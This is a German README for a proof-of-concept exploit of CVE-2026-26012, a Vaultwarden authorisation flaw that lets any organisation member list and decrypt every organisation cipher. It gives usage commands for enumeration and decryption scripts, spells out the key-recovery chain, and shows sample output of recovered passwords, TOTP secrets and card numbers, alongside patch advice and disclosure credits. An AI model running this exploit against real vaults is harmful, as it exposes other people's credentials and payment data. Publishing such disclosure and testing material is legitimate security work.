
Proof-of-Concept-Exploit für CVE-2026-26012, eine fehlerhafte Zugriffskontrolle in Vaultwarden, die es jedem Organisationsmitglied ermöglicht, alle Cipher zu enumerieren und zu entschlüsseln, wobei die Sammlungsberechtigungen umgangen werden.
Vollständige Cipher-Enumeration unter Umgehung der Sammlungsberechtigungen der Organisation
Ein Proof-of-Concept-Exploit für CVE-2026-26012, eine Schwachstelle durch fehlerhafte Zugriffskontrolle in Vaultwarden (<= 1.35.2), die es jedem Organisationsmitglied ermöglicht, alle Cipher innerhalb der Organisation abzurufen und zu entschlüsseln – unabhängig von den Berechtigungen auf Sammlungsebene.
🤖 Hinweis: Dieses Projekt wurde mit Unterstützung von Claude 3 Opus entwickelt. KI wurde für die Codegenerierung, die Architekturstruktur und die Dokumentation eingesetzt. Alle Ausgaben wurden manuell überprüft und für die Qualitätssicherung getestet.
| CVE | CVE-2026-26012 |
| Advisory | GHSA-h265-g7rm-h337 |
| Betroffen | Vaultwarden ≤ 1.35.2 |
| Behoben in | 1.35.3 |
| CVSS 3.1 | 6.5 (Mittel) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| CWE | CWE-863 — Falsche Autorisierung |
| Credit | Entdeckt von @odgrso, behoben von @BlackDex |
Der API-Endpunkt GET /api/ciphers/organization-details ist für jedes Organisationsmitglied zugänglich. Intern ruft er Cipher::find_by_org auf, das alle Cipher in der Organisation zurückgibt, und stellt sie dann mit CipherSyncType::Organization bereit, ohne die Zugriffskontrolle auf Sammlungsebene durchzusetzen.
Da alle Organisations-Cipher denselben Organisations-Verschlüsselungsschlüssel verwenden (den jedes Mitglied beim Beitritt erhält), können die geleakten Cipher clientseitig vollständig entschlüsselt werden.
Reguläres Organisationsmitglied (auf Sammlung "Public" beschränkt)
│
├── GET /api/sync → 5 Cipher (korrekt)
│
└── GET /api/ciphers/organization-details
└──→ 47 Cipher (ALLE Organisations-Cipher — FEHLER)
└──→ 42 Cipher aus eingeschränkten Sammlungen (GELEAKT)
└──→ Entschlüsselbar mit dem Org-Schlüssel, den das Mitglied bereits besitzt
.
├── README.md # Diese Datei
├── poc_cve_2026_26012.py # Phase 1: Cipher-Enumeration & Leak-Erkennung
├── poc_decrypt.py # Phase 2: Org-Schlüssel-Wiederherstellung & Cipher-Entschlüsselung
└── LICENSE
cryptography (für die Entschlüsselung in Phase 2)argon2-cffi (nur wenn die Zielinstanz den Argon2id-KDF verwendet)pip install cryptography
pip install argon2-cffi # optional
Erkennt, ob die Instanz verwundbar ist, indem die vom normalen /api/sync-Endpunkt zurückgegebenen Cipher mit denen des verwundbaren /api/ciphers/organization-details-Endpunkts verglichen werden.
# Über den Browser authentifizieren (SSO + 2FA unterstützt), dann das Bearer-Token übergeben
python3 poc_cve_2026_26012.py \
--url https://vaultwarden.example.com \
--token "eyJhbGciOi..." \
--org-id "ORG-UUID" \
--output results.json
# Bearer-Token (empfohlen — funktioniert mit SSO + 2FA)
--token "eyJhbGciOi..."
# Session-Cookie
--cookie "VAULTWARDEN_SESSION=abc123..."
# Raw-Cookie-Header (mehrere Cookies)
--cookie-header "session=abc; token=xyz"
# Direkter Passwort-Login (NUR ohne SSO und 2FA)
--email [email protected] --password "MasterPassword"
So extrahieren Sie Ihr Bearer-Token:
/api/... und kopieren Sie den Wert des Authorization-Headers--no-verify-ssl # SSL-Überprüfung überspringen (selbstsignierte Zertifikate)
--show-all # Auch legitim zugängliche Cipher anzeigen
--max-display 50 # Maximale Anzahl anzuzeigender geleakter Cipher (Standard: 20)
--output results.json # Vollständige Ergebnisse als JSON exportieren
Stellt den Organisations-Verschlüsselungsschlüssel wieder her und entschlüsselt alle geleakten Cipher aus Phase 1.
python3 poc_decrypt.py \
--url https://vaultwarden.example.com \
--token "eyJhbGciOi..." \
--email [email protected] \
--master-password "YourMasterPassword" \
--org-id "ORG-UUID" \
--leaked-json results.json \
--output decrypted.json
Hinweis:
--master-passwordist Ihr Vaultwarden-Master-Passwort, das lokal zur Ableitung der Entschlüsselungsschlüsselkette verwendet wird. Es wird niemals über das Netzwerk gesendet. Das--tokenübernimmt die API-Authentifizierung.
Fehlerbehebung: Wenn die Schlüsselentschlüsselung fehlschlägt, fügen Sie
--debughinzu, um Zwischenwerte bei jedem Schritt zu sehen. Das Skript versucht automatisch 5 Strategien (HKDF modern, HMAC legacy, Raw-Key und HMAC-Skip-Varianten), um unterschiedliche Kontenalter und Konfigurationen zu berücksichtigen.
Wenn Sie den 64-Byte-Organisationsschlüssel (128 Hex-Zeichen) bereits haben:
python3 poc_decrypt.py \
--org-key-hex "aabbccdd...128_hex_chars..." \
--leaked-json results.json \
--output decrypted.json
[*] === Key Recovery Chain ===
[1/6] KDF-Parameter abrufen...
KDF: PBKDF2-SHA256, Iterationen: 600000
[2/6] Master-Key ableiten...
[3/6] Master-Key strecken (HKDF-Expand)...
[4/6] Verschlüsselte Schlüssel von /api/sync abrufen...
Organisation: ACME Corp
[5/6] Symmetrischen Benutzerschlüssel entschlüsseln...
[6/6] RSA-privaten Schlüssel entschlüsseln → Organisationsschlüssel...
[+] Organisationsschlüssel erfolgreich wiederhergestellt!
[*] 42 Cipher entschlüsseln...
============================================================
ENTSCHLÜSSELUNGSERGEBNISSE
============================================================
Gesamt: 42
Entschlüsselt: 42
Fehler: 0
AUSWIRKUNGSZUSAMMENFASSUNG
Passwörter wiederhergestellt: 35
TOTP-Geheimnisse wiederhergestellt: 12
Kartennummern wiederhergestellt: 3
============================================================
Jedes Organisationsmitglied besitzt bereits den symmetrischen Schlüssel der Organisation, verschlüsselt mit seinem RSA-öffentlichen Schlüssel. Die Entschlüsselungskette ist:
Master-Passwort + E-Mail
│ PBKDF2-SHA256 oder Argon2id
▼
Master-Key (32 Bytes)
│ HKDF-Expand-SHA256
▼
Gestreckter Schlüssel: encKey (32B) ║ macKey (32B)
│ AES-256-CBC (entschlüsselt profile.key)
▼
Symmetrischer Benutzerschlüssel: encKey (32B) ║ macKey (32B)
│ AES-256-CBC (entschlüsselt profile.privateKey)
▼
RSA-privater Schlüssel (2048-Bit PKCS#8 DER)
│ RSA-OAEP-SHA1 (entschlüsselt profile.organizations[].key)
▼
Organisationsschlüssel: encKey (32B) ║ macKey (32B)
│ AES-256-CBC + HMAC-SHA256
▼
Entschlüsselte Cipher-Daten
Im Bitwarden/Vaultwarden-Modell teilen sich alle Cipher in einer Organisation denselben Verschlüsselungsschlüssel. Die Zugriffskontrolle auf Sammlungsebene wird nur serverseitig durchgesetzt – das kryptografische Modell erzwingt keine Sammlungsgrenzen. Jedes Mitglied mit dem Org-Schlüssel kann jeden Cipher in der Organisation entschlüsseln. Diese CVE umgeht den serverseitigen Filter und legt alle Cipher jedem Mitglied offen.
| Cipher-Typ | Entschlüsselte Felder |
|---|---|
| Login | Benutzername, Passwort, TOTP-Geheimnis, URIs |
| Karte | Karteninhaber, Nummer, CVV, Ablaufdatum |
| Identität | Name, SSN, Reisepass, Adresse, Telefon, E-Mail |
| Sichere Notiz | Vollständiger Notizinhalt |
| Alle Typen | Benutzerdefinierte Felder, Anhangs-Metadaten |
Aktualisieren Sie Vaultwarden sofort auf 1.35.3 oder höher.
docker pull vaultwarden/server:1.35.3
Führen Sie nach dem Patchen Phase 1 erneut aus, um den Fix zu bestätigen – das Tool sollte NOT VULNERABLE melden.
Wenn Sie eine verwundbare Version in einer Organisation mit mehreren Benutzern betrieben haben:
/api/ciphers/organization-detailsDieser PoC wird nach der öffentlichen Offenlegung und Behebung der Schwachstelle veröffentlicht:
Dieser PoC wäre ohne die Arbeit der ursprünglichen Sicherheitsforscher und Maintainer nicht möglich:
| Rolle | Wer | Beitrag |
|---|---|---|
| Schwachstellenmelder | @odgrso | CVE-2026-26012 entdeckt und verantwortungsvoll offengelegt |
| Behebungsentwickler | @BlackDex | Fix entwickelt und in Vaultwarden 1.35.3 ausgeliefert |
| Projekt-Maintainer | @dani-garcia | Vaultwarden-Ersteller, koordinierte Advisory und Release |
Vielen Dank, dass Sie das Open-Source-Ökosystem sicherer machen.
Dieser Proof of Concept wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Sie müssen über eine ausdrückliche schriftliche Genehmigung verfügen, bevor Sie ein System testen, das Ihnen nicht gehört. Unbefugter Zugriff auf Computersysteme ist nach dem CFAA (USA), dem Computer Misuse Act (UK) und entsprechenden Gesetzen weltweit illegal. Die Autoren übernehmen keine Haftung für Missbrauch.
MIT — Siehe LICENSE.